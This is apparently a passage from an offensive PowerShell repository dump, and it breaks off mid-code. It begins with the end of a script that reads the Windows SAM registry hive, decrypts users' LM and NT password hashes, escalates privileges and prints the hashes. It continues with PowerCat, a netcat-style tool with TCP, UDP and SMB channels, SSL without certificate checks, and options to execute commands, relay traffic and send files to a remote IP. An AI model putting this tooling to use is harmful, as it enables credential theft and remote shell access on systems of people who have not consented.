[Text.Encoding]::Unicode.GetString($V, $offset, $len); 410 | } 411 | function Get-UserHashes($u, [byte[]]$hbootkey) 412 | { 413 | [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; 414 | if ($u.HashOffset + 0x28 -lt $u.V.Length) 415 | { 416 | $lm_hash_offset = $u.HashOffset + 4; 417 | $nt_hash_offset = $u.HashOffset + 8 + 0x10; 418 | $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; 419 | $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; 420 | } 421 | elseif ($u.HashOffset + 0x14 -lt $u.V.Length) 422 | { 423 | $nt_hash_offset = $u.HashOffset + 8; 424 | $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; 425 | } 426 | return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); 427 | } 428 | function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) 429 | { 430 | [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; 431 | # LM Hash 432 | if ($enc_lm_hash) 433 | { 434 | $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; 435 | } 436 | 437 | # NT Hash 438 | if ($enc_nt_hash) 439 | { 440 | $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; 441 | } 442 | return ,($lmhash,$nthash) 443 | } 444 | function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) 445 | { 446 | $deskeys = sid_to_key $rid; 447 | $md5 = [Security.Cryptography.MD5]::Create(); 448 | $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); 449 | $rc4 = NewRC4 $rc4_key; 450 | $obfkey = $rc4.encrypt($enc_hash); 451 | $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + 452 | (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); 453 | return ,$hash; 454 | } 455 | function Get-UserKeys 456 | { 457 | ls HKLM:\SAM\SAM\Domains\Account\Users | 458 | where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | 459 | Add-Member AliasProperty KeyName PSChildName -PassThru | 460 | Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | 461 | Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | 462 | Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | 463 | Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru 464 | } 465 | function DumpHashes 466 | { 467 | LoadApi 468 | $bootkey = Get-BootKey; 469 | $hbootKey = Get-HBootKey $bootkey; 470 | Get-UserKeys | %{ 471 | $hashes = Get-UserHashes $_ $hBootKey; 472 | "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, 473 | [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), 474 | [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); 475 | "`n" 476 | } 477 | } 478 | if ([priv]::IsUserAnAdmin()) 479 | { 480 | if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) 481 | { 482 | DumpHashes 483 | } 484 | else 485 | { 486 | ElevatePrivs 487 | if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) 488 | { 489 | DumpHashes 490 | } 491 | } 492 | } 493 | else 494 | { 495 | Write-Error "Administrator or System privileges necessary." 496 | } 497 | } -------------------------------------------------------------------------------- /jobs/totalp0wn/Connect-PowerCat2.ps1: -------------------------------------------------------------------------------- 1 | function New-RuntimeParameter { 2 | <# 3 | Author: Jesse Davis (@secabstraction) 4 | License: BSD 3-Clause 5 | #> 6 | [CmdletBinding()] 7 | Param ( 8 | [Parameter(Position = 0, Mandatory = $true)] 9 | [ValidateNotNullOrEmpty()] 10 | [Type]$Type, 11 | 12 | [Parameter(Position = 1, Mandatory = $true)] 13 | [ValidateNotNullOrEmpty()] 14 | [String]$Name, 15 | 16 | [Parameter()] 17 | [ValidateNotNullOrEmpty()] 18 | [String[]]$Alias, 19 | 20 | [Parameter()] 21 | [ValidateNotNullOrEmpty()] 22 | [Int]$Position, 23 | 24 | [Parameter()] 25 | [Switch]$Mandatory, 26 | 27 | [Parameter()] 28 | [ValidateNotNullOrEmpty()] 29 | [String]$HelpMessage, 30 | 31 | [Parameter()] 32 | [ValidateNotNullOrEmpty()] 33 | [String[]]$ValidateSet, 34 | 35 | [Parameter()] 36 | [ValidateNotNullOrEmpty()] 37 | [Regex]$ValidatePattern, 38 | 39 | [Parameter()] 40 | [Switch]$ValueFromPipeline, 41 | 42 | [Parameter()] 43 | [Switch]$ValueFromPipelineByPropertyName, 44 | 45 | [Parameter()] 46 | [ValidateNotNullOrEmpty()] 47 | [String]$ParameterSetName = '__AllParameterSets', 48 | 49 | [Parameter()] 50 | [System.Management.Automation.RuntimeDefinedParameterDictionary]$ParameterDictionary 51 | ) 52 | #create a new ParameterAttribute Object 53 | $Attribute = New-Object Management.Automation.ParameterAttribute 54 | $Attribute.ParameterSetName = $ParameterSetName 55 | 56 | if ($PSBoundParameters.Position) { $Attribute.Position = $Position } 57 | 58 | if ($Mandatory.IsPresent) { $Attribute.Mandatory = $true } 59 | else { $Attribute.Mandatory = $false } 60 | 61 | if ($PSBoundParameters.HelpMessage) { $Attribute.HelpMessage = $HelpMessage } 62 | 63 | if ($ValueFromPipeline.IsPresent) { $Attribute.ValueFromPipeline = $true } 64 | else { $Attribute.ValueFromPipeline = $false } 65 | 66 | if ($ValueFromPipelineByPropertyName.IsPresent) { $Attribute.ValueFromPipelineByPropertyName = $true } 67 | else { $Attribute.ValueFromPipelineByPropertyName = $false } 68 | 69 | #create an attributecollection object for the attribute we just created. 70 | $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] 71 | 72 | if ($PSBoundParameters.ValidateSet) { 73 | $ParamOptions = New-Object Management.Automation.ValidateSetAttribute -ArgumentList $ValidateSet 74 | $AttributeCollection.Add($ParamOptions) 75 | } 76 | 77 | if ($PSBoundParameters.Alias) { 78 | $ParamAlias = New-Object Management.Automation.AliasAttribute -ArgumentList $Alias 79 | $AttributeCollection.Add($ParamAlias) 80 | } 81 | 82 | if ($PSBoundParameters.ValidatePattern) { 83 | $ParamPattern = New-Object Management.Automation.ValidatePatternAttribute -ArgumentList $ValidatePattern 84 | $AttributeCollection.Add($ParamPattern) 85 | } 86 | 87 | #add our custom attribute 88 | $AttributeCollection.Add($Attribute) 89 | 90 | $Parameter = New-Object Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) 91 | 92 | if($PSBoundParameters.ParameterDictionary) { $ParameterDictionary.Add($Name, $Parameter) } 93 | else { 94 | $Dictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 95 | $Dictionary.Add($Name, $Parameter) 96 | Write-Output $Dictionary 97 | } 98 | } 99 | 100 | function Test-Port { 101 | <# 102 | Author: Jesse Davis (@secabstraction) 103 | License: BSD 3-Clause 104 | #> 105 | Param ( 106 | [Parameter(Position = 0, Mandatory = $true)] 107 | [Int]$Number, 108 | 109 | [Parameter(Position = 1)] 110 | [ValidateSet('Tcp','Udp')] 111 | [String]$Transport 112 | ) 113 | 114 | $IPGlobalProperties = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() 115 | 116 | if ($Transport -eq 'Tcp') { 117 | foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) { 118 | if ($Connection.LocalEndPoint.Port -eq $Number) { 119 | Write-Warning "Port $Number`:Tcp is already in use." 120 | return $false 121 | } 122 | } 123 | foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) { 124 | if ($Listener.Port -eq $Number) { 125 | Write-Warning "Port $Number`:Tcp is already in use." 126 | return $false 127 | } 128 | } 129 | } 130 | elseif ($Transport -eq 'Udp') { 131 | foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) { 132 | if ($Listener.Port -eq $Number) { 133 | Write-Warning "Port $Number`:Udp is already in use." 134 | return $false 135 | } 136 | } 137 | } 138 | else { # check both Tcp & Udp 139 | foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) { 140 | if ($Connection.LocalEndPoint.Port -eq $Number) { 141 | Write-Warning "Port $Number`:Tcp is already in use." 142 | return $false 143 | } 144 | } 145 | foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) { 146 | if ($Listener.Port -eq $Number) { 147 | Write-Warning "Port $Number`:Tcp is already in use." 148 | return $false 149 | } 150 | } 151 | foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) { 152 | if ($Listener.Port -eq $Number) { 153 | Write-Warning "Port $Number`:Udp is already in use." 154 | return $false 155 | } 156 | } 157 | } 158 | return $true 159 | } 160 | 161 | function New-X509Certificate { 162 | <# 163 | Author: Jesse Davis (@secabstraction) 164 | License: BSD 3-Clause 165 | #> 166 | Param ( 167 | [Parameter(Position = 0, Mandatory = $true)] 168 | [ValidateNotNullOrEmpty()] 169 | [String]$CommonName 170 | ) 171 | $DN = New-Object -ComObject 'X509Enrollment.CX500DistinguishedName.1' 172 | $DN.Encode("CN=$CommonName", 0) 173 | 174 | $PrivateKey = New-Object -ComObject 'X509Enrollment.CX509PrivateKey.1' 175 | $PrivateKey.ProviderName = "Microsoft RSA SChannel Cryptographic Provider" 176 | $PrivateKey.KeySpec = 1 # XCN_AT_KEYEXCHANGE 177 | $PrivateKey.ExportPolicy = 2 # XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG 178 | $PrivateKey.MachineContext = $true 179 | $PrivateKey.Length = 2048 180 | $PrivateKey.Create() 181 | 182 | $HashAlg = New-Object -ComObject 'X509Enrollment.CObjectId.1' 183 | $HashAlg.InitializeFromAlgorithmName(1, 0, 0, 'SHA512') 184 | 185 | $ServerAuthOid = New-Object -ComObject 'X509Enrollment.CObjectId.1' 186 | $ServerAuthOid.InitializeFromValue('1.3.6.1.5.5.7.3.1') 187 | $EkuOid = New-Object -ComObject 'X509Enrollment.CObjectIds.1' 188 | $EkuOid.Add($ServerAuthOid) 189 | $EkuExtension = New-Object -ComObject 'X509Enrollment.CX509ExtensionEnhancedKeyUsage.1' 190 | $EkuExtension.InitializeEncode($EkuOid) 191 | 192 | $Certificate = New-Object -ComObject 'X509Enrollment.CX509CertificateRequestCertificate.1' 193 | $Certificate.InitializeFromPrivateKey(2, $PrivateKey, '') 194 | $Certificate.Subject = $DN 195 | $Certificate.Issuer = $Certificate.Subject 196 | $Certificate.NotBefore = [DateTime]::Now.AddDays(-1) 197 | $Certificate.NotAfter = $Certificate.NotBefore.AddDays(90) 198 | $Certificate.X509Extensions.Add($EkuExtension) 199 | $Certificate.HashAlgorithm = $HashAlg 200 | $Certificate.Encode() 201 | 202 | $Enroll = New-Object -ComObject 'X509Enrollment.CX509Enrollment.1' 203 | $Enroll.InitializeFromRequest($Certificate) 204 | $Enroll.CertificateFriendlyName = $CommonName 205 | $Csr = $Enroll.CreateRequest() 206 | $Enroll.InstallResponse(2, $Csr, 1, '') 207 | $Base64 = $Enroll.CreatePFX('', 0) 208 | 209 | $Bytes = [Convert]::FromBase64String($Base64) 210 | $X509Cert = New-Object Security.Cryptography.X509Certificates.X509Certificate2($Bytes, '') 211 | 212 | return $X509Cert 213 | } 214 | 215 | function New-SmbStream { 216 | <# 217 | Author: Jesse Davis (@secabstraction) 218 | License: BSD 3-Clause 219 | #> 220 | [CmdletBinding(DefaultParameterSetName = 'Client')] 221 | Param ( 222 | [Parameter(Position = 0, ParameterSetName = 'Client')] 223 | [String]$ServerIp, 224 | 225 | [Parameter(Position = 0, ParameterSetName = 'Listener')] 226 | [Switch]$Listener, 227 | 228 | [Parameter(Position = 1)] 229 | [ValidateNotNullorEmpty()] 230 | [String]$PipeName, 231 | 232 | [Parameter(Position = 3)] 233 | [Int]$Timeout = 60, 234 | 235 | [Parameter()] 236 | [Int]$BufferSize = 65536 237 | ) 238 | 239 | if ($Listener.IsPresent) { 240 | $PipeSecurity = New-Object IO.Pipes.PipeSecurity 241 | $PipeServer = New-Object IO.Pipes.NamedPipeServerStream($PipeName, 3, 1, 0, [IO.Pipes.PipeOptions]::Asynchronous, $BufferSize, $BufferSize, $PipeSecurity, 0, [IO.Pipes.PipeAccessRights]::ChangePermissions) 242 | $PipeSecurity = $PipeServer.GetAccessControl() 243 | $PipeSecurity.AddAccessRule((New-Object IO.Pipes.PipeAccessRule("Everyone", [IO.Pipes.PipeAccessRights]::FullControl, 0))) 244 | $PipeServer.SetAccessControl($PipeSecurity) 245 | $ConnectResult = $PipeServer.BeginWaitForConnection($null, $null) 246 | 247 | Write-Verbose "Listening on 0.0.0.0:$PipeName [smb]" 248 | 249 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 250 | [console]::TreatControlCAsInput = $true 251 | 252 | do { 253 | if ([console]::KeyAvailable) { 254 | $Key = [console]::ReadKey($true) 255 | if ($Key.Key -eq [Consolekey]::Escape) { 256 | Write-Warning "Caught escape sequence, stopping Smb Setup." 257 | [console]::TreatControlCAsInput = $false 258 | $PipeServer.Dispose() 259 | $Stopwatch.Stop() 260 | return 261 | } 262 | } 263 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 264 | Write-Warning "Timeout exceeded, stopping Smb Setup." 265 | [console]::TreatControlCAsInput = $false 266 | $PipeServer.Dispose() 267 | $Stopwatch.Stop() 268 | return 269 | } 270 | } until ($ConnectResult.IsCompleted) 271 | 272 | [console]::TreatControlCAsInput = $false 273 | $Stopwatch.Stop() 274 | 275 | try { $PipeServer.EndWaitForConnection($ConnectResult) } 276 | catch { 277 | Write-Warning "Pipe server connection failed. $($_.Exception.Message)." 278 | $PipeServer.Dispose() 279 | return 280 | } 281 | Write-Verbose "Connection from client accepted." 282 | 283 | $Buffer = New-Object Byte[] $BufferSize 284 | 285 | $Properties = @{ 286 | Pipe = $PipeServer 287 | Buffer = $Buffer 288 | Read = $PipeServer.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 289 | } 290 | New-Object psobject -Property $Properties 291 | } 292 | else { # Client 293 | 294 | $PipeClient = New-Object IO.Pipes.NamedPipeClientStream($ServerIp, $PipeName, [IO.Pipes.PipeDirection]::InOut, [IO.Pipes.PipeOptions]::Asynchronous) 295 | try { $PipeClient.Connect(($Timeout * 1000)) } 296 | catch { 297 | Write-Warning "Pipe client connection failed. $($_.Exception.Message)." 298 | $PipeClient.Dispose() 299 | return 300 | } 301 | Write-Verbose "Connected to $ServerIp`:$PipeName." 302 | 303 | $Buffer = New-Object Byte[] $BufferSize 304 | 305 | $Properties = @{ 306 | Pipe = $PipeClient 307 | Buffer = $Buffer 308 | Read = $PipeClient.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 309 | } 310 | New-Object psobject -Property $Properties 311 | } 312 | } 313 | 314 | function New-TcpStream { 315 | <# 316 | Author: Jesse Davis (@secabstraction) 317 | License: BSD 3-Clause 318 | #> 319 | [CmdletBinding(DefaultParameterSetName = 'Client')] 320 | Param ( 321 | [Parameter(Position = 0, ParameterSetName = 'Client')] 322 | [Net.IPAddress]$ServerIp, 323 | 324 | [Parameter(Position = 0, ParameterSetName = 'Listener')] 325 | [Switch]$Listener, 326 | 327 | [Parameter(Position = 1)] 328 | [Int]$Port, 329 | 330 | [Parameter(Position = 2)] 331 | [String]$SslCn, 332 | 333 | [Parameter(Position = 3)] 334 | [Int]$Timeout = 60 335 | ) 336 | 337 | if ($Listener.IsPresent) { 338 | 339 | $TcpListener = New-Object Net.Sockets.TcpListener $Port 340 | $TcpListener.Start() 341 | $ConnectResult = $TcpListener.BeginAcceptTcpClient($null, $null) 342 | 343 | Write-Verbose "Listening on 0.0.0.0:$Port [tcp]" 344 | 345 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 346 | [console]::TreatControlCAsInput = $true 347 | 348 | do { 349 | if ([console]::KeyAvailable) { 350 | $Key = [console]::ReadKey($true) 351 | if ($Key.Key -eq [Consolekey]::Escape) { 352 | Write-Warning 'Caught escape sequence, stopping TCP setup.' 353 | [console]::TreatControlCAsInput = $false 354 | $TcpListener.Stop() 355 | $Stopwatch.Stop() 356 | return 357 | } 358 | } 359 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 360 | Write-Warning 'Timeout exceeded, stopping TCP setup.' 361 | #[console]::TreatControlCAsInput = $false 362 | $TcpListener.Stop() 363 | $Stopwatch.Stop() 364 | return 365 | } 366 | } until ($ConnectResult.IsCompleted) 367 | 368 | [console]::TreatControlCAsInput = $false 369 | $Stopwatch.Stop() 370 | 371 | $TcpClient = $TcpListener.EndAcceptTcpClient($ConnectResult) 372 | $TcpListener.Stop() 373 | 374 | if (!$TcpClient) { Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed." ; return } 375 | 376 | Write-Verbose "Connection from $($TcpClient.Client.RemoteEndPoint.ToString()) accepted." 377 | 378 | $TcpStream = $TcpClient.GetStream() 379 | $Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize 380 | 381 | if ($PSBoundParameters.SslCn) { 382 | $TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false) 383 | $Certificate = New-X509Certificate $SslCn 384 | $TcpStream.AuthenticateAsServer($Certificate) 385 | Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)" 386 | } 387 | 388 | $Properties = @{ 389 | Socket = $TcpClient.Client 390 | TcpStream = $TcpStream 391 | Buffer = $Buffer 392 | Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 393 | } 394 | New-Object psobject -Property $Properties 395 | } 396 | else { # Client 397 | 398 | $TcpClient = New-Object Net.Sockets.TcpClient 399 | 400 | $ConnectResult = $TcpClient.BeginConnect($ServerIp, $Port, $null, $null) 401 | 402 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 403 | [console]::TreatControlCAsInput = $true 404 | 405 | do { 406 | if ([console]::KeyAvailable) { 407 | $Key = [console]::ReadKey($true) 408 | if ($Key.Key -eq [Consolekey]::Escape) { 409 | Write-Warning 'Caught escape sequence, stopping TCP setup.' 410 | [console]::TreatControlCAsInput = $false 411 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() } 412 | else { $TcpClient.Dispose() } 413 | $Stopwatch.Stop() 414 | return 415 | } 416 | } 417 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 418 | Write-Warning 'Timeout exceeded, stopping TCP setup.' 419 | [console]::TreatControlCAsInput = $false 420 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() } 421 | else { $TcpClient.Dispose() } 422 | $Stopwatch.Stop() 423 | return 424 | } 425 | } until ($ConnectResult.IsCompleted) 426 | 427 | [console]::TreatControlCAsInput = $false 428 | $Stopwatch.Stop() 429 | 430 | try { $TcpClient.EndConnect($ConnectResult) } 431 | catch { 432 | Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed. $($_.Exception.Message)" 433 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() } 434 | else { $TcpClient.Dispose() } 435 | return 436 | } 437 | Write-Verbose "Connection to $($ServerIp.IPAddressToString):$Port [tcp] succeeded!" 438 | 439 | $TcpStream = $TcpClient.GetStream() 440 | $Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize 441 | 442 | if ($PSBoundParameters.SslCn) { 443 | $TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false, { param($Sender, $Cert, $Chain, $Policy) return $true }) 444 | $TcpStream.AuthenticateAsClient($SslCn) 445 | Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)" 446 | } 447 | 448 | $Properties = @{ 449 | Socket = $TcpClient.Client 450 | TcpStream = $TcpStream 451 | Buffer = $Buffer 452 | Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null) 453 | } 454 | New-Object psobject -Property $Properties 455 | } 456 | } 457 | 458 | function New-UdpStream { 459 | <# 460 | Author: Jesse Davis (@secabstraction) 461 | License: BSD 3-Clause 462 | #> 463 | [CmdletBinding(DefaultParameterSetName = 'Client')] 464 | Param ( 465 | [Parameter(Position = 0, ParameterSetName = 'Client')] 466 | [Net.IPAddress]$ServerIp, 467 | 468 | [Parameter(Position = 0, ParameterSetName = 'Listener')] 469 | [Switch]$Listener, 470 | 471 | [Parameter(Position = 1)] 472 | [Int]$Port, 473 | 474 | [Parameter()] 475 | [Int]$BufferSize = 65536, 476 | 477 | [Parameter()] 478 | [Int]$Timeout = 60 479 | ) 480 | 481 | if ($Listener.IsPresent) { 482 | 483 | $SocketDestinationBuffer = New-Object Byte[] 65536 484 | $RemoteEndPoint = New-Object Net.IPEndPoint @([Net.IPAddress]::Any, $null) 485 | $UdpClient = New-Object Net.Sockets.UDPClient $Port 486 | $PacketInfo = New-Object Net.Sockets.IPPacketInformation 487 | 488 | Write-Verbose "Listening on 0.0.0.0:$Port [udp]" 489 | 490 | $ConnectResult = $UdpClient.Client.BeginReceiveMessageFrom($SocketDestinationBuffer, 0, 65536, [Net.Sockets.SocketFlags]::None, [ref]$RemoteEndPoint, $null, $null) 491 | 492 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew() 493 | [console]::TreatControlCAsInput = $true 494 | 495 | do { 496 | if ([console]::KeyAvailable) { 497 | $Key = [console]::ReadKey($true) 498 | if ($Key.Key -eq [Consolekey]::Escape) { 499 | Write-Warning "Caught escape sequence, stopping UDP Setup." 500 | [console]::TreatControlCAsInput = $false 501 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() } 502 | else { $UdpClient.Dispose() } 503 | $Stopwatch.Stop() 504 | return 505 | } 506 | } 507 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) { 508 | Write-Warning "Timeout exceeded, stopping UDP Setup." 509 | [console]::TreatControlCAsInput = $false 510 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() } 511 | else { $UdpClient.Dispose() } 512 | $Stopwatch.Stop() 513 | return 514 | } 515 | } until ($ConnectResult.IsCompleted) 516 | 517 | [console]::TreatControlCAsInput = $false 518 | $Stopwatch.Stop() 519 | 520 | $SocketFlags = 0 521 | $SocketBytesRead = $UdpClient.Client.EndReceiveMessageFrom($ConnectResult, [ref]$SocketFlags, [ref]$RemoteEndPoint, [ref]$PacketInfo) 522 | $UdpClient.Connect($RemoteEndPoint) 523 | 524 | if ($SocketBytesRead.Count) { $InitialBytes = $SocketDestinationBuffer[0..($SocketBytesRead - 1)] } 525 | 526 | Write-Verbose "Connection from $($RemoteEndPoint.ToString()) [udp] accepted." 527 | 528 | $Properties = @{ 529 | UdpClient = $UdpClient 530 | Socket = $UdpClient.Client 531 | Read = $UdpClient.BeginReceive($null, $null) 532 | } 533 | $UdpStream = New-Object psobject -Property $Properties 534 | } 535 | else { # Client 536 | $RemoteEndPoint = New-Object Net.IPEndPoint @($ServerIp, $Port) 537 | $UdpClient = New-Object Net.Sockets.UDPClient 538 | $UdpClient.Connect($RemoteEndPoint) 539 | 540 | Write-Verbose "Sending UDP data to $($RemoteEndPoint.ToString()).`nMake sure to send some data to the server!" 541 | 542 | $Properties = @{ 543 | UdpClient = $UdpClient 544 | Socket = $UdpClient.Client 545 | Read = $UdpClient.BeginReceive($null, $null) 546 | } 547 | $UdpStream = New-Object psobject -Property $Properties 548 | } 549 | return $InitialBytes, $UdpStream 550 | } 551 | 552 | function Write-NetworkStream { 553 | <# 554 | Author: Jesse Davis (@secabstraction) 555 | License: BSD 3-Clause 556 | #> 557 | Param ( 558 | [Parameter(Position = 0)] 559 | [String]$Mode, 560 | 561 | [Parameter(Position = 1)] 562 | [Object]$Stream, 563 | 564 | [Parameter(Position = 2)] 565 | [Byte[]]$Bytes 566 | ) 567 | switch ($Mode) { 568 | 'Smb' { 569 | try { $Stream.Pipe.Write($Bytes, 0, $Bytes.Length) } 570 | catch { Write-Warning "Failed to send Smb data. $($_.Exception.Message)" } 571 | continue 572 | } 573 | 'Tcp' { 574 | try { $Stream.TcpStream.Write($Bytes, 0, $Bytes.Length) } 575 | catch { Write-Warning "Failed to write to Tcp stream. $($_.Exception.Message)." } 576 | continue 577 | } 578 | 'Udp' { 579 | try { $BytesSent = $Stream.UdpClient.Send($Bytes, $Bytes.Length) } 580 | catch { Write-Warning "Failed to send Udp data to $($Stream.Socket.RemoteEndPoint.ToString()). $($_.Exception.Message)." } 581 | } 582 | } 583 | } 584 | 585 | function Read-NetworkStream { 586 | <# 587 | Author: Jesse Davis (@secabstraction) 588 | License: BSD 3-Clause 589 | #> 590 | Param ( 591 | [Parameter(Position = 0)] 592 | [String]$Mode, 593 | 594 | [Parameter(Position = 1)] 595 | [Object]$Stream 596 | ) 597 | switch ($Mode) { 598 | 'Smb' { 599 | try { $BytesRead = $Stream.Pipe.EndRead($Stream.Read) } 600 | catch { Write-Warning "Failed to read Smb stream. $($_.Exception.Message)." ; continue } 601 | 602 | if ($BytesRead) { 603 | $BytesReceived = $Stream.Buffer[0..($BytesRead - 1)] 604 | [Array]::Clear($Stream.Buffer, 0, $BytesRead) 605 | } 606 | $Stream.Read = $Stream.Pipe.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null) 607 | 608 | if ($BytesRead) { return $BytesReceived } 609 | else { Write-Verbose 'Smb stream closed by remote end.' ; continue } 610 | } 611 | 'Tcp' { 612 | try { $BytesRead = $Stream.TcpStream.EndRead($Stream.Read) } 613 | catch { Write-Warning "Failed to read Tcp stream. $($_.Exception.Message)." ; continue } 614 | 615 | if ($BytesRead) { 616 | $BytesReceived = $Stream.Buffer[0..($BytesRead - 1)] 617 | [Array]::Clear($Stream.Buffer, 0, $BytesRead) 618 | } 619 | $Stream.Read = $Stream.TcpStream.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null) 620 | 621 | if ($BytesRead) { return $BytesReceived } 622 | else { Write-Verbose 'Tcp stream closed by remote end.' ; continue } 623 | } 624 | 'Udp' { 625 | try { $Bytes = $Stream.UdpClient.EndReceive($Stream.Read, [ref]$Stream.Socket.RemoteEndpoint) } 626 | catch { Write-Warning "Failed to receive Udp data from $($Stream.Socket.RemoteEndpoint.ToString()). $($_.Exception.Message)." ; continue } 627 | 628 | $Stream.Read = $Stream.UdpClient.BeginReceive($null, $null) 629 | 630 | return $Bytes 631 | } 632 | } 633 | } 634 | 635 | function Close-NetworkStream { 636 | <# 637 | Author: Jesse Davis (@secabstraction) 638 | License: BSD 3-Clause 639 | #> 640 | Param ( 641 | [Parameter(Position = 0)] 642 | [String]$Mode, 643 | 644 | [Parameter(Position = 1)] 645 | [Object]$Stream 646 | ) 647 | switch ($Mode) { 648 | 'Smb' { 649 | try { $Stream.Pipe.Dispose() } 650 | catch { Write-Verbose "Failed to close Smb stream. $($_.Exception.Message)." } 651 | continue 652 | } 653 | 'Tcp' { 654 | try { 655 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.TcpStream.Close() } 656 | else { $Stream.Socket.Dispose() ; $Stream.TcpStream.Dispose() } 657 | } 658 | catch { Write-Verbose "Failed to close Tcp stream. $($_.Exception.Message)." } 659 | continue 660 | } 661 | 'Udp' { 662 | try { 663 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.UdpClient.Close() } 664 | else { $Stream.Socket.Dispose() ; $Stream.UdpClient.Dispose() } 665 | } 666 | catch { Write-Verbose "Failed to close Udp stream. $($_.Exception.Message)." } 667 | } 668 | } 669 | } 670 | 671 | function Connect-PowerCat { 672 | <# 673 | Author: Jesse Davis (@secabstraction) 674 | License: BSD 3-Clause 675 | #> 676 | [CmdletBinding(DefaultParameterSetName = 'Console')] 677 | Param ( 678 | [Parameter(Position = 0)] 679 | [Alias('m')] 680 | [ValidateSet('Smb', 'Tcp', 'Udp')] 681 | [String]$Mode = 'Tcp', 682 | 683 | [Parameter(Position = 1, Mandatory = $true)] 684 | [String]$RemoteIp, 685 | 686 | [Parameter(ParameterSetName = 'Execute')] 687 | [Alias('e')] 688 | [Switch]$Execute, 689 | 690 | [Parameter(ParameterSetName = 'Relay')] 691 | [Alias('r')] 692 | [String]$Relay, 693 | 694 | [Parameter(ParameterSetName = 'ReceiveFile')] 695 | [Alias('rf')] 696 | [String]$ReceiveFile, 697 | 698 | [Parameter(ParameterSetName = 'SendFile')] 699 | [Alias('sf')] 700 | [String]$SendFile, 701 | 702 | [Parameter(ParameterSetName = 'Input')] 703 | [Alias('i')] 704 | [String]$Input, 705 | 706 | [Parameter()] 707 | [Alias('d')] 708 | [Switch]$Disconnect, 709 | 710 | [Parameter()] 711 | [Alias('t')] 712 | [Int]$Timeout = 60, 713 | 714 | [Parameter()] 715 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')] 716 | [String]$Encoding = 'Ascii' 717 | ) 718 | DynamicParam { 719 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary 720 | 721 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary } 722 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary } 723 | 724 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary } 725 | 726 | if 